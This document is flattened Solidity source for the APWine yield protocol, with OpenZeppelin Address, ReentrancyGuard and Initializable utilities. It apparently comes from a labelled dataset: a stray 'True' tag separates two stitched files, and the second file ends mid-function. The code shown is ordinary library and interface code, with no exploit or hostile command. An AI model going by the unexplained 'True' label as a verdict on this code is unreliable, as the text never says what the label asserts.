function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
pragma solidity 0.7.6;
interface IProxyFactory {
function deployMinimal(address _logic, bytes memory _data) external returns (address proxy);
}
pragma solidity 0.7.6;
import "contracts/interfaces/ERC20.sol";
interface IFutureYieldToken is ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) external;
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) external;
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) external;
}
pragma solidity 0.7.6;
interface IAPWineMaths {
/**
* @notice scale an input
* @param _actualValue the original value of the input
* @param _initialSum the scaled value of the sum of the inputs
* @param _actualSum the current value of the sum of the inputs
*/
function getScaledInput(
uint256 _actualValue,
uint256 _initialSum,
uint256 _actualSum
) external pure returns (uint256);
/**
* @notice scale back a value to the output
* @param _scaledOutput the current scaled output
* @param _initialSum the scaled value of the sum of the inputs
* @param _actualSum the current value of the sum of the inputs
*/
function getActualOutput(
uint256 _scaledOutput,
uint256 _initialSum,
uint256 _actualSum
) external pure returns (uint256);
}
pragma solidity 0.7.6;
import "contracts/interfaces/ERC20.sol";
interface IAPWineIBT is ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) external;
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) external;
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) external;
}
pragma solidity 0.7.6;
interface IFutureWallet {
/**
* @notice Intializer
* @param _futureAddress the address of the corresponding future
* @param _adminAddress the address of the ACR admin
*/
function initialize(address _futureAddress, address _adminAddress) external;
/**
* @notice register the yield of an expired period
* @param _amount the amount of yield to be registered
*/
function registerExpiredFuture(uint256 _amount) external;
/**
* @notice redeem the yield of the underlying yield of the FYT held by the sender
* @param _periodIndex the index of the period to redeem the yield from
*/
function redeemYield(uint256 _periodIndex) external;
/**
* @notice return the yield that could be redeemed by an address for a particular period
* @param _periodIndex the index of the corresponding period
* @param _tokenHolder the FYT holder
* @return the yield that could be redeemed by the token holder for this period
*/
function getRedeemableYield(uint256 _periodIndex, address _tokenHolder) external view returns (uint256);
/**
* @notice getter for the address of the future corresponding to this future wallet
* @return the address of the future
*/
function getFutureAddress() external view returns (address);
/**
* @notice getter for the address of the IBT corresponding to this future wallet
* @return the address of the IBT
*/
function getIBTAddress() external view returns (address);
}
pragma solidity 0.7.6;
interface IFuture {
struct Registration {
uint256 startIndex;
uint256 scaledBalance;
}
/**
* @notice Getter for the PAUSE future parameter
* @return true if new periods are paused, false otherwise
*/
function PAUSED() external view returns (bool);
/**
* @notice Getter for the PERIOD future parameter
* @return returns the period duration of the future
*/
function PERIOD_DURATION() external view returns (uint256);
/**
* @notice Getter for the PLATFORM_NAME future parameter
* @return returns the platform of the future
*/
function PLATFORM_NAME() external view returns (uint256);
/**
* @notice Initializer
* @param _controller the address of the controller
* @param _ibt the address of the corresponding IBT
* @param _periodDuration the length of the period (in days)
* @param _platformName the name of the platform and tools
* @param _deployerAddress the future deployer address
* @param _admin the address of the ACR admin
*/
function initialize(
address _controller,
address _ibt,
uint256 _periodDuration,
string memory _platformName,
address _deployerAddress,
address _admin
) external;
/**
* @notice Set future wallet address
* @param _futureVault the address of the new future wallet
* @dev needs corresponding permissions for sender
*/
function setFutureVault(address _futureVault) external;
/**
* @notice Set futureWallet address
* @param _futureWallet the address of the new futureWallet
* @dev needs corresponding permissions for sender
*/
function setFutureWallet(address _futureWallet) external;
/**
* @notice Set liquidity gauge address
* @param _liquidityGauge the address of the new liquidity gauge
* @dev needs corresponding permissions for sender
*/
function setLiquidityGauge(address _liquidityGauge) external;
/**
* @notice Sender registers an amount of IBT for the next period
* @param _user address to register to the future
* @param _amount amount of IBT to be registered
* @dev called by the controller only
*/
function register(address _user, uint256 _amount) external;
/**
* @notice Sender unregisters an amount of IBT for the next period
* @param _user user addresss
* @param _amount amount of IBT to be unregistered
*/
function unregister(address _user, uint256 _amount) external;
/**
* @notice Sender unlocks the locked funds corresponding to their apwIBT holding
* @param _user the user address
* @param _amount amount of funds to unlocked
* @dev will require a transfer of FYT of the ongoing period corresponding to the funds unlocked
*/
function withdrawLockFunds(address _user, uint256 _amount) external;
/**
* @notice Send the user their owed FYT (and apwIBT if there are some claimable)
* @param _user address of the user to send the FYT to
*/
function claimFYT(address _user) external;
/**
* @notice Start a new period
* @dev needs corresponding permissions for sender
*/
function startNewPeriod() external;
/**
* @notice Check if a user has unclaimed FYT
* @param _user the user to check
* @return true if the user can claim some FYT, false otherwise
*/
function hasClaimableFYT(address _user) external view returns (bool);
/**
* @notice Check if a user has unclaimed apwIBT
* @param _user the user to check
* @return true if the user can claim some apwIBT, false otherwise
*/
function hasClaimableAPWIBT(address _user) external view returns (bool);
/**
* @notice Getter for user registered amount
* @param _user user to return the registered funds of
* @return the registered amount, 0 if no registrations
* @dev the registration can be older than the next period
*/
function getRegisteredAmount(address _user) external view returns (uint256);
/**
* @notice Getter for user IBT amount that is unlockable
* @param _user user to unlock the IBT from
* @return the amount of IBT the user can unlock
*/
function getUnlockableFunds(address _user) external view returns (uint256);
/**
* @notice Getter for yield that is generated by the user funds during the current period
* @param _user user to check the unrealized yield of
* @return the yield (amount of IBT) currently generated by the locked funds of the user
*/
function getUnrealisedYield(address _user) external view returns (uint256);
/**
* @notice Getter for the amount of apwIBT that the user can claim
* @param _user the user to check the claimable apwIBT of
* @return the amount of apwIBT claimable by the user
*/
function getClaimableAPWIBT(address _user) external view returns (uint256);
/**
* @notice Getter for the amount of FYT that the user can claim for a certain period
* @param _user user to check the check the claimable FYT of
* @param _periodID period ID to check the claimable FYT of
* @return the amount of FYT claimable by the user for this period ID
*/
function getClaimableFYTForPeriod(address _user, uint256 _periodID) external view returns (uint256);
/**
* @notice Getter for next period index
* @return next period index
* @dev index starts at 1
*/
function getNextPeriodIndex() external view returns (uint256);
/**
* @notice Getter for controller address
* @return the controller address
*/
function getControllerAddress() external view returns (address);
/**
* @notice Getter for future wallet address
* @return future wallet address
*/
function getFutureVaultAddress() external view returns (address);
/**
* @notice Getter for futureWallet address
* @return futureWallet address
*/
function getFutureWalletAddress() external view returns (address);
/**
* @notice Getter for liquidity gauge address
* @return liquidity gauge address
*/
function getLiquidityGaugeAddress() external view returns (address);
/**
* @notice Getter for the IBT address
* @return IBT address
*/
function getIBTAddress() external view returns (address);
/**
* @notice Getter for future apwIBT address
* @return apwIBT address
*/
function getAPWIBTAddress() external view returns (address);
/**
* @notice Getter for FYT address of a particular period
* @param _periodIndex period index
* @return FYT address
*/
function getFYTofPeriod(uint256 _periodIndex) external view returns (address);
/* Admin functions*/
/**
* @notice Pause registrations and the creation of new periods
*/
function pausePeriods() external;
/**
* @notice Resume registrations and the creation of new periods
*/
function resumePeriods() external;
}
pragma solidity 0.7.6;
interface IController {
/* Getters */
function STARTING_DELAY() external view returns (uint256);
/* Initializer */
/**
* @notice Initializer of the Controller contract
* @param _admin the address of the admin
*/
function initialize(address _admin) external;
/* Future Settings Setters */
/**
* @notice Change the delay for starting a new period
* @param _startingDelay the new delay (+-) to start the next period
*/
function setPeriodStartingDelay(uint256 _startingDelay) external;
/**
* @notice Set the next period switch timestamp for the future with corresponding duration
* @param _periodDuration the duration of a period
* @param _nextPeriodTimestamp the next period switch timestamp
*/
function setNextPeriodSwitchTimestamp(uint256 _periodDuration, uint256 _nextPeriodTimestamp) external;
/**
* @notice Set a new factor for the portion of the yield that is claimable when withdrawing funds during an ongoing period
* @param _periodDuration the duration of the periods
* @param _claimableYieldFactor the portion of the yield that is claimable
*/
function setUnlockClaimableFactor(uint256 _periodDuration, uint256 _claimableYieldFactor) external;
/* User Methods */
/**
* @notice Register an amount of IBT from the sender to the corresponding future
* @param _future the address of the future to be registered to
* @param _amount the amount to register
*/
function register(address _future, uint256 _amount) external;
/**
* @notice Unregister an amount of IBT from the sender to the corresponding future
* @param _future the address of the future to be unregistered from
* @param _amount the amount to unregister
*/
function unregister(address _future, uint256 _amount) external;
/**
* @notice Withdraw deposited funds from APWine
* @param _future the address of the future to withdraw the IBT from
* @param _amount the amount to withdraw
*/
function withdrawLockFunds(address _future, uint256 _amount) external;
/**
* @notice Claim FYT of the msg.sender
* @param _future the future from which to claim the FYT
*/
function claimFYT(address _future) external;
/**
* @notice Get the list of futures from which a user can claim FYT
* @param _user the user to check
*/
function getFuturesWithClaimableFYT(address _user) external view returns (address[] memory);
/**
* @notice Getter for the registry address of the protocol
* @return the address of the protocol registry
*/
function getRegistryAddress() external view returns (address);
/**
* @notice Getter for the symbol of the apwIBT of one future
* @param _ibtSymbol the IBT of the external protocol
* @param _platform the external protocol name
* @param _periodDuration the duration of the periods for the future
* @return the generated symbol of the apwIBT
*/
function getFutureIBTSymbol(
string memory _ibtSymbol,
string memory _platform,
uint256 _periodDuration
) external pure returns (string memory);
/**
* @notice Getter for the symbol of the FYT of one future
* @param _apwibtSymbol the apwIBT symbol for this future
* @param _periodDuration the duration of the periods for this future
* @return the generated symbol of the FYT
*/
function getFYTSymbol(string memory _apwibtSymbol, uint256 _periodDuration) external view returns (string memory);
/**
* @notice Getter for the period index depending on the period duration of the future
* @param _periodDuration the periods duration
* @return the period index
*/
function getPeriodIndex(uint256 _periodDuration) external view returns (uint256);
/**
* @notice Getter for beginning timestamp of the next period for the futures with a defined periods duration
* @param _periodDuration the periods duration
* @return the timestamp of the beginning of the next period
*/
function getNextPeriodStart(uint256 _periodDuration) external view returns (uint256);
/**
* @notice Getter for the factor of claimable yield when unlocking
* @param _periodDuration the periods duration
* @return the factor of claimable yield of the last period
*/
function getUnlockYieldFactor(uint256 _periodDuration) external view returns (uint256);
/**
* @notice Getter for the list of future durations registered in the contract
* @return the list of futures duration
*/
function getDurations() external view returns (uint256[] memory);
/**
* @notice Register a newly created future in the registry
* @param _newFuture the address of the new future
*/
function registerNewFuture(address _newFuture) external;
/**
* @notice Unregister a future from the registry
* @param _future the address of the future to unregister
*/
function unregisterFuture(address _future) external;
/**
* @notice Start all the futures that have a defined periods duration to synchronize them
* @param _periodDuration the periods duration of the futures to start
*/
function startFuturesByPeriodDuration(uint256 _periodDuration) external;
/**
* @notice Getter for the futures by periods duration
* @param _periodDuration the periods duration of the futures to return
*/
function getFuturesWithDuration(uint256 _periodDuration) external view returns (address[] memory);
/**
* @notice Register the sender to the corresponding future
* @param _user the address of the user
* @param _futureAddress the addresses of the futures to claim the fyts from
*/
function claimSelectedYield(address _user, address[] memory _futureAddress) external;
function getRoleMember(bytes32 role, uint256 index) external view returns (address); // OZ ACL getter
/**
* @notice Interrupt a future avoiding news registrations
* @param _future the address of the future to pause
* @dev should only be called in extraordinary situations by the admin of the contract
*/
function pauseFuture(address _future) external;
/**
* @notice Resume a future that has been paused
* @param _future the address of the future to resume
* @dev should only be called in extraordinary situations by the admin of the contract
*/
function resumeFuture(address _future) external;
}
pragma solidity 0.7.6;
interface IFutureVault {
/**
* @notice Intializer
* @param _futureAddress the address of the corresponding future
* @param _adminAddress the address of the corresponding admin
*/
function initialize(address _futureAddress, address _adminAddress) external;
/**
* @notice Getter for the future address
* @return the future address linked to this vault
*/
function getFutureAddress() external view returns (address);
/**
* @notice Approve another token to be transfered from this contract by the future
*/
function approveAdditionalToken(address _tokenAddress) external;
}
pragma solidity 0.7.6;
interface ILiquidityGauge {
/**
* @notice Contract Initializer
* @param _gaugeController the address of the gauge controller
* @param _future the address of the corresponding future
*/
function initialize(address _gaugeController, address _future) external;
/**
* @notice Register new liquidity added to the future
* @param _amount the liquidity amount added
* @dev must be called from the future contract
*/
function registerNewFutureLiquidity(uint256 _amount) external;
/**
* @notice Unregister liquidity withdrawn from to the future
* @param _amount the liquidity amount withdrawn
* @dev must be called from the future contract
*/
function unregisterFutureLiquidity(uint256 _amount) external;
/**
* @notice update gauge and user liquidity state then return the new redeemable
* @param _user the user to update and return the redeemable of
*/
function updateAndGetRedeemable(address _user) external returns (uint256);
/**
* @notice Log an update of the inflated volume
*/
function updateInflatedVolume() external;
/**
* @notice Getter for the last inflated amount
* @return the last inflated amount
*/
function getLastInflatedAmount() external view returns (uint256);
/**
* @notice Getter for redeemable APWs of one user
* @param _user the user to check the redeemable APW of
* @return the amount of redeemable APW
*/
function getUserRedeemable(address _user) external view returns (uint256);
/**
* @notice Register new user liquidity
* @param _user the user to register the liquidity of
*/
function registerUserLiquidity(address _user) external;
/**
* @notice Delete a user liquidity registration
* @param _user the user to delete the liquidity registration of
*/
function deleteUserLiquidityRegistration(address _user) external;
/**
* @notice Register new user liquidity
* @param _sender the user to transfer the liquidity from
* @param _receiver the user to transfer the liquidity to
* @param _amount the amount of liquidity to transfer
*/
function transferUserLiquidty(
address _sender,
address _receiver,
uint256 _amount
) external;
/**
* @notice Update the current stored liquidity of one user
* @param _user the user to update the liquidity of
*/
function updateUserLiquidity(address _user) external;
/**
* @notice Remove liquidity from on user address
* @param _user the user to remove the liquidity from
* @param _amount the amount of liquidity to remove
*/
function removeUserLiquidity(address _user, uint256 _amount) external;
}
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
interface IRegistry {
/**
* @notice Initializer of the contract
* @param _admin the address of the admin of the contract
*/
function initialize(address _admin) external;
/* Setters */
/**
* @notice Setter for the treasury address
* @param _newTreasury the address of the new treasury
*/
function setTreasury(address _newTreasury) external;
/**
* @notice Setter for the gauge controller address
* @param _newGaugeController the address of the new gauge controller
*/
function setGaugeController(address _newGaugeController) external;
/**
* @notice Setter for the controller address
* @param _newController the address of the new controller
*/
function setController(address _newController) external;
/**
* @notice Setter for the APW token address
* @param _newAPW the address of the APW token
*/
function setAPW(address _newAPW) external;
/**
* @notice Setter for the proxy factory address
* @param _proxyFactory the address of the new proxy factory
*/
function setProxyFactory(address _proxyFactory) external;
/**
* @notice Setter for the liquidity gauge address
* @param _liquidityGaugeLogic the address of the new liquidity gauge logic
*/
function setLiquidityGaugeLogic(address _liquidityGaugeLogic) external;
/**
* @notice Setter for the APWine IBT logic address
* @param _APWineIBTLogic the address of the new APWine IBT logic
*/
function setAPWineIBTLogic(address _APWineIBTLogic) external;
/**
* @notice Setter for the APWine FYT logic address
* @param _FYTLogic the address of the new APWine FYT logic
*/
function setFYTLogic(address _FYTLogic) external;
/**
* @notice Setter for the maths utils address
* @param _mathsUtils the address of the new math utils
*/
function setMathsUtils(address _mathsUtils) external;
/**
* @notice Setter for the naming utils address
* @param _namingUtils the address of the new naming utils
*/
function setNamingUtils(address _namingUtils) external;
/**
* @notice Getter for the controller address
* @return the address of the controller
*/
function getControllerAddress() external view returns (address);
/**
* @notice Getter for the treasury address
* @return the address of the treasury
*/
function getTreasuryAddress() external view returns (address);
/**
* @notice Getter for the gauge controller address
* @return the address of the gauge controller
*/
function getGaugeControllerAddress() external view returns (address);
/**
* @notice Getter for the DAO address
* @return the address of the DAO that has admin rights on the APW token
*/
function getDAOAddress() external returns (address);
/**
* @notice Getter for the APW token address
* @return the address the APW token
*/
function getAPWAddress() external view returns (address);
/**
* @notice Getter for the vesting contract address
* @return the vesting contract address
*/
function getVestingAddress() external view returns (address);
/**
* @notice Getter for the proxy factory address
* @return the proxy factory address
*/
function getProxyFactoryAddress() external view returns (address);
/**
* @notice Getter for liquidity gauge logic address
* @return the liquidity gauge logic address
*/
function getLiquidityGaugeLogicAddress() external view returns (address);
/**
* @notice Getter for APWine IBT logic address
* @return the APWine IBT logic address
*/
function getAPWineIBTLogicAddress() external view returns (address);
/**
* @notice Getter for APWine FYT logic address
* @return the APWine FYT logic address
*/
function getFYTLogicAddress() external view returns (address);
/**
* @notice Getter for math utils address
* @return the math utils address
*/
function getMathsUtils() external view returns (address);
/**
* @notice Getter for naming utils address
* @return the naming utils address
*/
function getNamingUtils() external view returns (address);
/* Future factory */
/**
* @notice Register a new future factory in the registry
* @param _futureFactory the address of the future factory contract
* @param _futureFactoryName the name of the future factory
*/
function addFutureFactory(address _futureFactory, string memory _futureFactoryName) external;
/**
* @notice Getter to check if a future factory is registered
* @param _futureFactory the address of the future factory contract to check the registration of
* @return true if it is, false otherwise
*/
function isRegisteredFutureFactory(address _futureFactory) external view returns (bool);
/**
* @notice Getter for the future factory registered at an index
* @param _index the index of the future factory to return
* @return the address of the corresponding future factory
*/
function getFutureFactoryAt(uint256 _index) external view returns (address);
/**
* @notice Getter for number of future factories registered
* @return the number of future factory registered
*/
function futureFactoryCount() external view returns (uint256);
/**
* @notice Getter for name of a future factory contract
* @param _futureFactory the address of a future factory
* @return the name of the corresponding future factory contract
*/
function getFutureFactoryName(address _futureFactory) external view returns (string memory);
/* Future platform */
/**
* @notice Register a new future platform in the registry
* @param _futureFactory the address of the future factory
* @param _futurePlatformName the name of the future platform
* @param _future the address of the future contract logic
* @param _futureWallet the address of the future wallet contract logic
* @param _futureVault the name of the future vault contract logic
*/
function addFuturePlatform(
address _futureFactory,
string memory _futurePlatformName,
address _future,
address _futureWallet,
address _futureVault
) external;
/**
* @notice Getter to check if a future platform is registered
* @param _futurePlatformName the name of the future platform to check the registration of
* @return true if it is, false otherwise
*/
function isRegisteredFuturePlatform(string memory _futurePlatformName) external view returns (bool);
/**
* @notice Getter for the future platform contracts
* @param _futurePlatformName the name of the future platform
* @return the addresses of 0) the future logic 1) the future wallet logic 2) the future vault logic
*/
function getFuturePlatform(string memory _futurePlatformName) external view returns (address[3] memory);
/**
* @notice Getter the total count of future platftroms registered
* @return the number of future platforms registered
*/
function futurePlatformsCount() external view returns (uint256);
/**
* @notice Getter the list of platforms names registered
* @return the list of platform names registered
*/
function getFuturePlatformNames() external view returns (string[] memory);
/**
* @notice Remove a future platform from the registry
* @param _futurePlatformName the name of the future platform to remove from the registry
*/
function removeFuturePlatform(string memory _futurePlatformName) external;
/* Futures */
/**
* @notice Add a future to the registry
* @param _future the address of the future to add to the registry
*/
function addFuture(address _future) external;
/**
* @notice Remove a future from the registry
* @param _future the address of the future to remove from the registry
*/
function removeFuture(address _future) external;
/**
* @notice Getter to check if a future is registered
* @param _future the address of the future to check the registration of
* @return true if it is, false otherwise
*/
function isRegisteredFuture(address _future) external view returns (bool);
/**
* @notice Getter for the future registered at an index
* @param _index the index of the future to return
* @return the address of the corresponding future
*/
function getFutureAt(uint256 _index) external view returns (address);
/**
* @notice Getter for number of future registered
* @return the number of future registered
*/
function futureCount() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
interface ERC20 is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external returns (string memory);
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() external returns (uint8);
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
